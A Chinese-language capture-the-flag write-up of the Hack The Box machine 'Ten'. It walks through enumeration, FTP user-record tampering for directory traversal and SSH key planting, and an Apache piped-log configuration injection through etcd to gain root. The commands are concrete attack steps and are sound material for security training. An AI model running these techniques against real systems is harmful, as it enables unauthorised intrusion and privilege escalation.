HTB Ten靶机渗透实战 - 从FTP权限绕过到Apache配置注入提权

本文详细记录了HTB Ten靶机的完整渗透过程,涉及FTP服务枚举、子域名爆破、WebDB数据库利用、目录遍历漏洞、etcd键值存储操作和Apache配置注入攻击,最终通过SSH密钥写入获得root权限。

HTB: Ten

盒子信息

属性
名称 Ten
发布日期 2025年7月24日
操作系统 Linux
难度 困难 [40]
创建者 jkr

侦察

初始扫描

nmap发现三个开放的TCP端口:FTP (21)、SSH (22) 和 HTTP (80):

1
2
3
4
5
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.149
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

详细版本扫描显示:

  • Pure-FTPd (21/tcp)
  • OpenSSH 8.9p1 Ubuntu (22/tcp)
  • Apache 2.4.52 (80/tcp)

FTP - TCP 21

尝试匿名登录失败:

1
2
220-This is a private system - No anonymous login
530 Login authentication failed

网站 - TCP 80

站点分析

访问IP地址重定向到/index.php,显示一个虚拟主机服务页面。“Sign up today"链接引导至域名注册页面。

技术栈:PHP站点,Apache服务器。

目录暴力枚举

使用feroxbuster发现以下关键路径:

  • /info.php - PHP信息页面
  • /attribution.php - 图片来源信息
  • /dist/ - 可列目录,包含静态资源

自定义站点

在hosts文件中添加域名映射后,通过FTP使用提供的凭据登录,可以上传文件到自定义子域名站点。

子域名枚举

使用ffuf发现子域名webdb.ten.vl

1
2
oxdf@hacky$ ffuf -u http://10.129.234.149 -H "Host: FUZZ.ten.vl" -w subdomains-top1million-20000.txt
webdb [Status: 200]

webdb.ten.vl - TCP 80

WebDB实例显示数据库列表,包含MySQL on localhost。通过"Guess Credentials"按钮获取有效凭据后,可以访问pureftpd数据库中的users表。

获取tyrell shell

文件系统访问

通过修改WebDB中用户的dir值为/srv/..实现目录遍历,获得根目录访问权限。

文件系统枚举

从/etc/passwd发现用户tyrell:

1
2
root:x:0:0:root:/root:/bin/bash
tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash

SSH访问

通过修改用户的UID/GID为1000(tyrell的UID),然后将FTP根目录设置为/home/tyrell/.ssh,上传SSH公钥到authorized_keys文件:

1
ftp> put ~/keys/ed25519_gen.pub authorized_keys

成功通过SSH登录:

1
oxdf@hacky$ ssh -i ~/keys/ed25519_gen tyrell@ten.vl

获取root权限

枚举

发现三个Apache站点配置文件:

  • 000-default.conf - 托管/var/www/html
  • 001-webdb.conf - 代理到webdb实例
  • 010-customers.conf - 动态生成客户虚拟主机

etcd键值存储

使用etcdctl查看客户数据:

1
tyrell@ten:/$ ETCDCTL_API=3 etcdctl get /customers/ --prefix

remco配置管理

发现remco进程监控etcd的/customers键,每5秒重新生成Apache配置并重启服务。

利用Apache配置注入

通过向etcd注入包含换行符的值,实现Apache配置注入:

1
2
3
tyrell@ten:~$ ETCDCTL_API=3 etcdctl put /customers/ten-1291b4cb/url 'privesc.ten.vl
        CustomLog "|$cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys" common 
        #'

利用Apache的Piped Logs功能执行命令,将tyrell的SSH密钥复制到root账户。

root权限获取

通过SSH以root身份登录:

1
2
3
oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@ten.vl
root@ten:~# cat root.txt
d89266bd************************
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计